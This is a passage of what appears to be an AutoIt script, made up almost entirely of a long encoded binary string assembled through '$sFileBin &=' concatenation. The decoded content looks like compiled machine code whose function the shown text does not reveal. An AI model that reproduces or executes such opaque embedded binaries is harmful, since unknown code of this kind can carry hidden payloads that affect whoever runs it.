hGCQ+3AgaFBR6IVgrGRmIUYAwWAOmRKPAFgAA8P3cLgOqAiJBWD+mUIgEEQCAHQEeA+sB0MoAvFASBxeE0gMJAsw0gi8XoeoCwBv9Gp1ASMQBhBbMLYAFjYAGBAhOIXhTGRgkSBqCIXgrrReAEMOAESWAHFQAhE+szEAEgBRABBtIAJYD68HWwEo1BAbAEABEE8ASgiFYW6w5AAg9AFYAGgMIPiFYOIBGIBIB88RmEWv5wkwBOD19diE4XW4JZ7DzMgH4VACAdgASLSDgPhOcBJQAPvlYWZgFWEgCAfhQAU1V0CACLQDCKQALrEggPtlYwNR6LaDAAA9GKBBMCRQIAAkYQPF92ArAQXw+3XoA+VgsDAtlAFWyTA40Mk6CKGYpRAdAASTB8AuVQHsBmC+lmA0AsRdDCAxCQEBIAZgPoisO5/w8BAAcj6SQPKkYOAGaJbgaIRhF5AATGRhEA9sIBBHQKEQh0BIBOEQAQisPQ6CRICCAHhNt8FdAKDNAg6oDiHwVRFrMGAOgZf///sQEAAE4IikYIXVs6AEYKcgaKVgmIAFYIAE4LikYLADpGDXIYikYMANAviEYLhMB9Qg6BFcOAD0hxBtBSLwwRU1UQHAzwnYsQRTj+CcGtOQBWEFcPhXagGovRiggIiAoxAcv/AFmCG8KtGwAPjSCxAVDKD7dRQIYCgJIB5fAA/gAatkgCdmK/IqKAAQPIOhF1CbEAsEkBiEoUApDDVXBihHgDgQLOD7ZyYAKFUJBxoAFIBAPwUQF0zwNwAXHxFCArwbvxn5C7UBWGx+IDxMcBA7F+CnKhAQQRovcD0I0UVBbgAHJYwmaJcf8wTP8D/wP0A+Bw/APgfo7PAbADikRyA4hBAhOwu9G96Mv2wABYMwXCwjPxwPGDxhxVVOiuyAFL8hRLwQHywIPGNFXokcQBgwRsjXxSYaDCSZPBAgQ9W7UA8AIxsAAAwiAFwgxpAsL7fArC7OEACsLaqxEB0RkiAsLL9QIjBcKquSUDOgLCqvUCOwXCqpglAxUCwon1Ai0Cwup69QJFAsJr4ADBVHQnZItU8L/6CvK/s6gPErbBNEYBEr472ndIEQ+2IFa2RuIhyAA7ynYFXjLAWykgwUYGgMJ+8o3HO5DCdgZfdAF+CJChBG4HAcT9O/p3fwCL1yvQg/ogdQB2K8GFwH5wmQS9BgTCdWQPtgQAM41UAAIr0QOA03VWg8cegYBRBRCzS0A2GEA7+HcqQmAGCRHCjKJBtlQSMTAgBDFBlGocD0C32o1OCmhxblEQC9jot1JjDIXAAHUFg+s/6wODwOsKhdt9B0CEcwkGVlMMEaWLxyvCmanxajP/IAkzEw5WEg6CyqEuLHmNFHngBgZKIoORfM0ry4gKQMHpCEc7+IAzfNbNIAPwXVbyXcqDCYEDReAx4vAC0gvRwGsYQEpJO9F3GXGBMkmxMxQyxOx1BVBesA4B743wP//AUOjPwCH2wHjoRcX5wCW9AGMBAACxAYhIAAEPtldJi0YwQIgQD7ZHSABgRwBmweAIZgvCi0BWMGaJQgQBaEgiAgAwiFoDASxYBgkBLEosACzGQFICUA+2T00AaEwAHGYEweEAbspmg8FMEGaJSAwAIg+3SCoMABQyAhRQABRQWACKT0uKV0oPtgLBAMhVD7bqC8VAA8dmD7Z4AIYARQAHyQJED7bSAUjBCucAT/gBWQP5ZonUeAoDUQoAUTADUQAKBFBWApQpi04wiFRZJAKmIwIRKAIRJ0EAEbABiEIXAA0zoNJmiVEOAhZPAiiqSoIFSYIFToIFTYEFVEI9BRY0Agp1AhBwVYIFb4IFdIIFcwIWYwmANjPJgElajb6QAAABAIvH6EF4AP//i8boKnT/gP9dX15bw8wBAACD7AhTVYtsJAAUV4t9OMZEJFQOAAACDAECDQECD1UBAhABAhMBAhEBAhJEALsA0gCNmwACAAAPt04CD7fBigAEODzAcg4EQQCIRhGI' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= 'XfEBYuEAZ2BRjZQklPAHEQFwEI28JJChLsvoLfC6APr//w+2hCSYAAAAAAFEJHSDAMRUg2wkJAEPCIVT/wDIt8WAPAAwAA+FVv7//wBfi0wkHF1eiQBLGFuDxDDDzAEDAFGLVCQMg/oAEXMEMsBZw1MAV4t8JBAPtl8AAw+2RwLB4wiAC9iD+wp8FQAaAAUPtk8EweAIAAvBO8OJRCQIAH8GXzLAW1nDAQAWB1YPtncGwQDhCAvOO8iJTFAkFHwiADAJABQIQQEwxjvBfhEAJgtFABAKBCV9B14DPlUAjWv2K807yg8Eg+EAwivFi/CKABQ+jQQ+hNIPBITPABEzyYPGB4A7dCQcD4PAAA4AD7bSg+J/O8oAfQKLyg+2UAKIg8ACgAeDxgIWCQCKUAODwAODxgADhNJ1t4vTKwDVD7dEOgIrRAAkGAPJg+gCOyDBdWuLbIB5t08ADIvFK8OZK8IgjXcMvwGANdH4ADvHfBcPt1YCAQAmi9or2YP7YgB1Pkc7+IvKfmTpiwAgK8WAFgcVGxCNZCQAChcidQ/BBBddXl+wAQB3gAMDAnuEvszMVot0JAAIi0YwhcB0EABQ6OaeAQCDxBAEx0YwACoAaggo6FijAgiJAhAlMwDJZokIi1YwVwCNvpAAAQCLxxDHQgQQAArolldA//+Lxuh/AH1fFl4HFwAAVQEYDItuADhXi34wD7cHAGaFwHYISGaJAAdfXl3Di4ZEgYARg/gQD4YNgDGAOUcEcgwzwAAHBMdHwhVTi/+LRwAEihwoQIlHBECA+/8PhOVABYCg+/4PhMYAAjuCDxBzQIoUBAgOczQAD7bDSIP4DHcAIP8khWC/ABAAgOIPD7bKagAAUWoNVui/cf9A/4PEEOsOQAWNEoaBMOjcQS5PBDsijoESdpFbgSWA4gIfwHlqAFJqBlYE6IvEDNqA4j8PALbCagBQagdWNOh1RAXEwgrCFwhWFOhfRAWuRxAJVugaSUQFmEIFQhAKVugCM0QFgooMKGYPQLbRZgPSQMAAZiJKQDJmiRcCIo1JwAC2vgAQucAAyQGq1MAA6sAAAMA3FsAAbizAAMEGwQCgwADJX1ZBQdQMi3dAuAFUMwjJOYcCOi9TVYtCr0ECihwwQEBWdRADQesPAFZ1CYoEFDCALo0MkUA7EMVy4V3ABFtzATBBiU8YDHYEAIPsABChWAAEEDPEgYByDKCAxgMQIHpQFIsNfCABiOB0iwACxgQkUMZEJCQBU4AAAkeAAAMaIDsEJHQEQF8RsAIBoIIMM8zoM5wJAU0Qw8MBMsDoImcEAuwN5BlHMEAaY1YyEQIFBMdHY1YM6KSKoGNWR2BWD4RpAEsAM8mJCIlIBIkASAgPtkYBD7YCDuKIPUFZAAB0EBk9WU3AABI9YUJ5wAAiPXltoHyFFjOgBiMCEMMECcaHYnzAJQHrBwMBIIGXQeEAUlfoGW9hoEaBYAtOBw+2VgaCCxWAAQUBAcKiAVBX6GSjbQBNRzhAGsAWSKBQ6HubAWAIRqBTtFYOgAUNggWAAQwCBoGiAQPAUImHSKFUVNGfoG2PQQFRwEeJIEc46BTkgRwUUwCLX0CNSxCLwRBVjWgB4X+KEEABAI35K8WNTAEBzIvBoAInAlQBYB/oHwXiGwciHnU4i8KNAHABi/+KCECEQsmgBcaNTALhB3Af5gcgAiIKKQIgCl0r0wBbi89fXukyG9QAAG9EUwKAECCMYIAAM9tXi3gEiVyAJBTrC42kJOE1AouAAY1L/4P5CQh3dI3AhySVLMMCAMIFSAgDz4oUEilAdetlYI6LQggMA8cgfYBoswbrUwCLTjCLUQgD1wiKFCoAc7MH60FBagYfswjrL6wGCQTrHaoGH7MK6wsbqAYkgsqgEKCrFAN+DBhAIInAWhQPjlUjoNnJCfr/dEGLsw0FhAaVgQZGMP9ACAFDDDtWGHYIi8FYi04cgE5AeVtheVawwgAQwGAA6QBmYACqeGAAimAAnGAArmAAAeknav9oGFsDEIRkoYElUIPsCAAqAlckblCNRCQcZMKjxCgsi3tAoNwASlJHAEpXDSHdyIABDAUBAcqiAbiTJEmSAPfpA9HB+gOLwMrB6R8DysDxgAUCBOAEA8HiCAvQAI1vEIvFiVMcGcA86wNgFuZBUI1MECQwVVHAISDo90JyYZcMx0QkYzgAAFCNcwToMV//Lv8hAaASARQscC4JUBjok5jSOEFBjXQqIAGLxol0kABQAUP0H/UFwovoVeAMMHBWUOiZ1wWxbdAFixDz6NRezwVQ6DZXwwXQC1AtF7BDFIIzjahsKQHTLQv0POmBBCbFYAf3BvhX8QZVUBToKfcGAtUMDOhjEw8HAAfFlwIHjWwvmgHiBJD6BBIS6NmSXcXyBAP1BBDoE/8E8AQqdfQEfPAEx/oEUI1gVCQcV1L0Z9IEBKHVBBToxV3aBBjTBEYn0wSBlmSJDeEVWQ+xJ3BCZjmwAQSKATwAYXUGgHkBeXQIHjx5kgBtdBQ8AkGSAFl0CjxZdQIPkABNdQmAeQIABncDsAHDMsAVFARTAlgQA1gz2zuAw3QMUOivlhNXNF8w4FclgE3jVzvDiA+E1yAciVgI8AIAiVgEgX4CLWwAaDWNRgJ1aYOAwASAOC11YTBR9UMEakUEOEBKIlHWUMAApgvHVGdRuppgUZehAKRSU1JR/t5BVRZAVgCDwgKLz+ieFgEQE3c4gT5ZTTaQIQ+FSnJbRgzEBUtjUMAAD8cFiUfwMFZqFlACF4ABGDIxwAAZTYEA0dIAEF/XZxFfTmockAIdwAEeEjbAAB8jUjbSAIlPHFB9RiBRQABOIWagBWaQBrcA0DPAg8QIuSIBkBlmO8JzBg+3CMqDwcCqRhVVDwC2bhTB5QgL6IHhUX5H6waNmwEcEA+2RDHAsFwxAiPhCdCuXDEBlAAcMQGCAIPBBI1UAgRRcJUCA8iBS0AiS7cAwDvFfMGNLDEFcCpYZi/DjUwoARyNbKJdMDjwPRhAhBLb8SaNVIABRAgBJxFjxAIwZBABkBsPtwDRg8IiiVAE9iBGEwFddNCZKBAAyAAQX15bw8wL/14CIhQBInAIA3AABItvOIoULo0Ch2FSMtvobE7/wP8DdxizAUABUZgpcgHoVlQBAqYC6ENVJAEDigItVAEEhwIaVSQBBYoCBFQBBlIBH6lUAe5NUwEHUgE/VAHq2FQBCLoCwlQBEJFYAaqsVAEKWgGWVAELZwnqgyQBDCcBcCMBkQP3Yz2jAVWgASAT8WOAE0gIBDtP8WPQi0cciUZC82P1O0QkBBDGgQY4gTQAO3gELXQL6IA4WbA6eBA7ujr0Y1Q4XfZjUdxjGNRjfIwkKOA85zkPhYZgAU0kOn4gOqOWx5KkljjnoylvOms66BkASXA5No4rQTSAAAyFAAuCAAPSIlJQjehB28s74RJPwjvhBaAGYAZODuU4D3nnOIlXADuvOK84rDjAVDPSdDjQcTjIcjhWBhSxOHAFM9sL0H7WNvAx9Dds8zfFkQDyNzWQACzyN8XwN7M3Qw8At8M7wnzNA/ENQm4oADb3lMKL2FOB8GEYVlHouWsVXZogwhcoMM7zFWeR9BVDkV7yagJmiwjgHmYAhcl19SvC0fgAi/AzyY1GAboBgWr34g+QwffZAAvIUeixlQEAEAP2VlVAUAToGZgBAgAgBcHaDAZQBpowRGIks6dwYv+QNXmwKI1MGrBAQPMoEH8X8UC1nfAKUfGFUOgJI/cK8ngoiwdgBA9QBOi4YAQhvECDxATHBwAAAIsAxY1QAov/ZosACIPAAmaFyXUA9SvC0fiL8DNAyY1GAboCAIT3AOIPkMH32QvIAFHoAZUBAAP2AFZVUIkH6GoAAAIAiwczyWaJgAwGx0QkMP8AAACLRCQkg8QQhQDAdAlQ6FGQAQIAAMyLVCQojUwAGgGLwY1wAYoAEECE0nX5K8YIUFGNADNQ6GRqoP//g8QMAEAgAWsgiyiLRxQA' $sFileBin &= 'PhBQxOgSAz7HRxQGpiOkBFyUBaRHFOjE/ywBAABSDqY4BlOqj4EDU0wkGGSJDYE1IFlfXl1bgA/DzEEHAFaL8YsGABgPSFDoeQMYxwaBFV4BBBJq/2iQWgMQBGShAQpQUVNWVwChWAAEEDPEUDGAcxRkowELgAQkUDCNfCQUgXYBCOhWAlUARt/ov1b//wAz2zP26wmNpAIkgnb/i5b4HwRiEIAYEOjhgA6APE4Ag8Ycgf5QAQCAAHLiiFwkHABiSBA7w4Fg6I4DSEQsJBwFwgMMzwMMMsBdAG4UB26CbYsQpZUQjDkDBrABkBCIR8E/2FnRxj9TVVaIPxCDPwAXhhgCN0A/aAzHA8B4AsLAk4vwg8QIhRD2D4TjwAZqAmpAAFboupwBQAG8UJsBAGpAAFYAm6gBQASLL4PEHIH9gAAAAQBzBb2BAVBV6HCSwAXYACiFANt1N1bofZ0BT4EZxjABBgJ5xY2CMTMNQUIQhTFCeQzDVWogAFPofNYAEg9WgFFqAVPoIZmBH6JsQAGDxCDADwZDyhhW6B6AF0ARgz8AoHULU+hxxBTbATaXRByBC4AbVoMGi8OQGwkDE+vISU/MzFWLAOyD5PiD7AxTgFaLdQiLhkSAN6BXUOiQkcE3M4DIAAQ733UKg8j/gcBei+Vdw4uOQQgAi1ZAUVJT6N8C/IEbDIl8JBDrCAaNmwJZhwwgBIVBuBFDClFT/9DAWSCEwHUP/0Bkg8cIHIH/YknWU+ioDowgCaBUQRv4DA+CohrgAotGCBBu+ABuCkcObusgdYvwi0UACItICAP/V1GAVol0JCToSoASBDPS4ESNXCQUZkCJFDfo2FPAXMCWicAPYAAUIQ6LkKFcEIvGjXhKDceLyhDR+I1ZYAI5g8EFYAL/YALL0fk7wQBzBivIi8HrMCArwY0ERiAGZjsICnUeYAZ0FWaLAEgCZjtKAnUPQIPABIPCBAEJ3gAzwOsFG8CD2E3BZxrhDUIfwBzBDz0RoR8PgnbgNoX2dGAJVuiii4M7gCgM1HITYDoQZDoQRS7gMhGgAY0MxQEsK8iKCBSNEGAsiFYgjRS+kEAsuwKYxugxAED//4HHSIIAwACD6wF17igI6YkI6Ar+IZ8EiYYgAAUCAIXAfQMyBMDD4z6LTjhQaqAAUejo02ABliICBEZAgAJSUFHo9Ir6oAGOQQaNBM3iEIDBA8CLlAD84CgAA8CJViSLiACBgBKJTiiLkAQAAQCDxBiJViywASOKdQAAg+wIgApTMyjbVVdAHQyhaYmeAlShAF4YiV4kiVReKOB/DOB/iqIiiaBeQItGOEMCeUUCADhRjUYIi/yJAGQkFFCNbCQUCOiHUAAm/ejw+wkjG0ZAAAY8i3wkiAyJvqEYib5IoAAUgf8jeL/BAFforgUDjImhC3UYi05AiFHoGGYOMsBfgWYACMNXU1Do2dJholxfXbABYgLqGVaAaADGAxCNd+DF0YKMx0ccIqxUQBJCAxCL9+hIYAFX6JIK/KMTh4EoXoXAfEIdJjqLBI0Io2YJNlfBZcCew6Ay4yUQiwSOTGGOVzP/xkQAJAsAO890HYsAAYtQDP/ShMCMdBKjAwECCP/SAQQEATniKXYPVom+EQEB6MlXAg+AfiCQAA+EsmFFhmzgAobbogAAQAbYBWCgogjYtnTgAdlcJAwK2QAz2aAn2cA